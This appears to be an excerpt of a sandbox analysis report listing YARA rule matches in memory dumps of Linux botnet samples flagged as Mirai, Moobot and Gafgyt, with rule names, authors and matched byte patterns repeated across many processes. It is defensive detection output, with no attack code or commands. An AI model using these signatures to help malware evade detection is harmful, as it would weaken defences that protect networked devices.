0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6794.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7406.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7193.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6932.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6479.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6591.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6241.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6241.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6241.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7419.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7419.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7419.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7419.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6476.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6476.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6476.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6476.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6476.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6476.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6920.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7436.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7436.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7436.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6538.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6538.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6538.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6538.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6538.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6538.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
